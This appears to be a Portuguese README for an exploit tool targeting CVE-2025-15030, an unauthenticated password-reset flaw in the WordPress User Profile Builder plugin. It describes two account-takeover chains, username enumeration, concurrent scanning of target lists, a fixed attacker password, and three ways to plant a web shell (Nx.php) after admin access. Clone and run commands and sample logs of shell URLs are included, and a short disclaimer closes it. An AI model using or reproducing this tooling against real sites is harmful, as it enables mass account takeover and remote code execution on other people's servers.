
User Profile Builder < 3.15.2 - Redefinição de Senha Arbitrária Não Autenticada
User Profile Builder < 3.15.2 - Redefinição de Senha Arbitrária Não Autenticada
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
Causa Raiz:
O fluxo de recuperação de senha do plugin Profile Builder (action2=recover_password2) não valida corretamente a chave de redefinição nem impõe expiração do token. Ao submeter um POST manipulado com um password_recovery_nonce_field2 válido extraído da página de redefinição, um atacante não autenticado pode definir uma nova senha para qualquer utilizador do WordPress — incluindo administradores — sabendo apenas o nome de utilizador. Nenhuma interação por e-mail ou token de redefinição válido é necessário.
Esta ferramenta implementa duas cadeias de ataque independentes contra cada alvo, ambas seguidas por implantação opcional de shell:
┌────────────────────────────────────────────────────────────────────┐
│ CADEIA 1 · CORE (abuso de redefinição nativa do wp-login) │
│ │
│ POST /wp-login.php?action=lostpassword (disparar redefinição) │
│ GET /wp-login.php?action=rp&key=... (seguir link de reset) │
│ POST /wp-login.php?action=resetpass (injetar nova senha) │
│ Enumerar nomes de utilizador → brute strict login → verificar /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CADEIA 2 · PB (redefinição do Profile Builder a partir de link) │
│ │
│ Carregar URLs de redefinição de pb_reset_links.txt │
│ GET <reset_url> → extrair nonce + userData │
│ POST action2=recover_password2 → definir nova senha │
│ Login estrito → verificar acesso /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ UPLOAD DE SHELL (executado após qualquer acesso admin confirmado)│
│ │
│ Método 1 → plugin-install.php upload (Nxploited.zip) │
│ Método 2 → API REST /wp-json/wp/v2/plugins │
│ Método 3 → Editor de Plugin/Tema (escrever Nx.php diretamente)│
│ Verificar → GET /wp-content/plugins/Nxploited/Nx.php │
│ Registar → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
Coloque Nxploited.zip no mesmo diretório do script para permitir o upload do shell. A ferramenta funciona sem ele, mas a implantação do shell será ignorada.
python3 CVE-2025-15030.py
Ficheiro da lista de alvos (um URL por linha): list.txt
Threads (sites concorrentes) [5]: 5
Tempo limite HTTP (segundos) [10]: 10
Ficheiro de saída para sucessos de redefinição wp-login core: scan_results/wp_login_reset_success.txt
Ficheiro de saída para shells Nxploited: scan_results/shells.txt
Ficheiro de links de redefinição do Profile Builder (opcional): pb_reset_links.txt
Senha usada para todas as tentativas de redefinição e login é fixa internamente:
Nxploited_adminSA
list.txt — Alvos (obrigatório)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Links de Redefinição do Profile Builder (opcional)Se capturou links de e-mail de redefinição de senha do Profile Builder, cole-os aqui, um por linha. A ferramenta irá:
password_recovery_nonce_field2 + userDataaction2=recover_password2https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
A ferramenta descobre automaticamente nomes de utilizador do WordPress usando três métodos antes de tentar o login:
| Método | Endpoint |
|---|---|
| Redirecionamento de autor | → |
Cada tentativa de login é verificada estritamente antes de escrever resultados. A ferramenta verifica:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → indicador users.php
/wp-admin/plugins.php → indicador plugins.php
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
Um resultado só é escrito no disco quando ≥ 3 marcadores admin são confirmados.
Após uma sessão admin confirmada, a ferramenta tenta três métodos de escalonamento em ordem:
Verificação do shell: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| Ficheiro | Conteúdo |
|---|---|
scan_results/wp_login_reset_success.txt | Acessos admin confirmados via cadeia CORE |
scan_results/shells.txt | URLs de shell implantados com credenciais |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
APENAS PARA PESQUISA E EDUCAÇÃO DE SEGURANÇA AUTORIZADA.
O autor não assume qualquer responsabilidade pelo uso desta ferramenta
contra sistemas que o operador não possui ou não tem permissão
escrita explícita para testar.
O uso não autorizado viola a CFAA, CMA e leis equivalentes
em todo o mundo e pode resultar em processos criminais.
Você é o único responsável pelas suas ações.
© 2025 Nxploited · User Profile Builder < 3.15.2 · Corrigido na versão 3.15.2
| Campo | Detalhe |
|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | User Profile Builder para WordPress |
| Afectado | Todas as versões anteriores a 3.15.2 |
| Autenticação | Nenhuma necessária |
| Tipo | Redefinição de Senha Inadequada — Tomada de Conta Não Autenticada |
| CWE | CWE-640 · Mecanismo Fraco de Recuperação de Senha |
/?author=1/?author=10| API REST | /wp-json/wp/v2/users |
| Heurística de hostname | Primeira label do nome de domínio |
| Fallback padrão | admin sempre incluído |
| Método | Endpoint | Gatilho |
|---|
| Upload de Plugin | /wp-admin/update.php?action=upload-plugin | Faz upload de Nxploited.zip via formulário de instalação |
| API REST | /wp-json/wp/v2/plugins | POST ZIP direto |
| Escrita no Editor | /wp-admin/plugin-editor.php | Escreve Nx.php via editor de ficheiros |
| Coluna | Significado |
|---|
KEY | Fluxo de redefinição iniciado com sucesso |
RESET | Nova senha aceite pelo servidor |
ACCESS | Número de logins admin confirmados |
SHELL | OK se Nx.php estiver confirmado como ativo |